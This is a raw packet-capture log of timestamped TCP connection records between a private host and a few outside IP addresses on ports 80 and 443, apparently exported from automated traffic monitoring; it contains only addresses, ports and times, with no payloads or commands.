Nov 18, 2024 19:04:31.160629034 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160659075 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160670996 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160716057 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160732985 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160737038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160739899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.160779953 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160804033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.160865068 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.161772013 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.178478003 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.178493977 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.178505898 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.178550005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.178591013 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.179471970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.179483891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.179495096 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.179518938 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.179552078 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.225173950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.225188017 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.225313902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.230581999 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.230595112 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.230604887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.230694056 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.231893063 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.231905937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.231916904 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.231929064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.231940031 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.231959105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.231990099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.243628025 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.244769096 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.244779110 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.244880915 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.244961023 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.248573065 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.260724068 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.261029005 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.261105061 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.270371914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270387888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270400047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270442963 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270463943 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270476103 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270488977 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270494938 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270508051 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270515919 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270519972 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270560980 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270570040 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270589113 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270595074 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270602942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.270610094 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270616055 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.270627022 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.270633936 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270683050 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.270917892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.271461010 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.271473885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.271486998 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.271528006 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.271562099 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.271682024 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.271692991 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.271730900 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.271742105 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.349467993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.349523067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.349534988 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.349546909 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.349559069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.349617004 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.349673033 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358545065 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358623981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358637094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358686924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358706951 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358736038 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358747959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358760118 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358777046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358783007 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358819962 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358853102 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358886003 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358895063 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358899117 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.358922005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.358953953 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.363327980 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.363547087 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.363617897 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.377932072 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.377949953 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.378010988 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.380300999 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.381268978 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.384582996 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.387139082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.387185097 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.387198925 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.387239933 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.387274981 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.387865067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.387877941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.387917995 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.389823914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.389836073 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.389847994 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.389858961 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.389870882 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.389873981 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.389894009 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.389915943 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.390918970 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.390942097 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.390953064 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.390981913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.391015053 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.391082048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.391096115 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.391135931 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.422836065 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.423731089 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.423742056 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.423796892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.424118042 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.424568892 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.467530012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467544079 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467555046 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467609882 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.467614889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467627048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467638969 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467647076 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.467652082 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467665911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467679977 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.467715025 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.467914104 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467948914 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.467952967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467966080 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.467987061 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.468002081 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.468049049 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.468061924 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.468072891 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.468094110 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.468123913 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.477811098 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.477823973 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.477834940 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.477844954 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.477858067 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.477880955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.477919102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.493685961 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.493710995 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.493721008 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.493777990 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.497186899 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.497426987 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.497481108 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.502003908 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:31.502104044 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:31.506156921 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.506206036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.506217957 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.506289005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.506310940 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.506324053 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.506350994 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.506386042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.508143902 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.508196115 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.508214951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.508258104 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.508285046 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.508307934 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.508321047 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.508362055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.510091066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510103941 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510114908 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510162115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.510238886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510251045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510262966 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.510281086 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.510313988 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.530344963 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.530366898 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.530379057 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.530443907 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.532938004 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.533232927 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.533297062 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.542681932 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:31.542706013 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:31.543047905 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:31.577558041 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:31.577687979 CET	49985	443	192.168.2.5	188.114.96.3
Nov 18, 2024 19:04:31.577724934 CET	443	49985	188.114.96.3	192.168.2.5
Nov 18, 2024 19:04:31.586822033 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586842060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586852074 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586913109 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.586915016 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586930037 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586942911 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586955070 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.586955070 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.586977005 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.586997986 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.587037086 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587076902 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.587368965 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587379932 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587390900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587412119 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.587423086 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.587454081 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587465048 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.587500095 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.596386909 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.596399069 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.596410990 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.596435070 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.596465111 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.598064899 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.598076105 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.598088026 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.598112106 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.598128080 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.605885029 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.606175900 CET	80	49979	62.76.234.151	192.168.2.5
Nov 18, 2024 19:04:31.608568907 CET	49979	80	192.168.2.5	62.76.234.151
Nov 18, 2024 19:04:31.625852108 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.625864029 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.625875950 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.625942945 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.625977993 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.625982046 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.625989914 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.626003981 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.626027107 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.626059055 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.627217054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.627262115 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.627274036 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.627279997 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.627299070 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.627324104 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.627513885 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.627526045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.627569914 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631441116 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631488085 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631520987 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631534100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631567955 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631697893 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631710052 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631720066 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631738901 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631764889 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631771088 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631776094 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.631807089 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.631828070 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706043959 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706101894 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706136942 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706150055 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706193924 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706259012 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706271887 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706281900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706294060 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706311941 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706326962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706332922 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706353903 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706399918 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706434011 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706446886 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706459045 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706480026 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706515074 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.706516027 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.706557035 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.715395927 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715409994 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715423107 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715454102 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.715485096 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.715507030 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715518951 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715531111 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.715553045 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.715584993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748579979 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748591900 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748604059 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748634100 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748642921 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748646975 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748661041 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748672962 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748682022 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748697042 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748733044 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748811960 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748823881 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748835087 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748846054 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.748855114 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.748891115 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.749947071 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.749994993 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.750010967 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750022888 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750058889 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.750093937 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750107050 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750139952 CET	49983	80	192.168.2.5	185.215.113.16
Nov 18, 2024 19:04:31.750329018 CET	80	49983	185.215.113.16	192.168.2.5
Nov 18, 2024 19:04:31.750341892 CET	80	49983	185.215.113.16	192.168.2.5
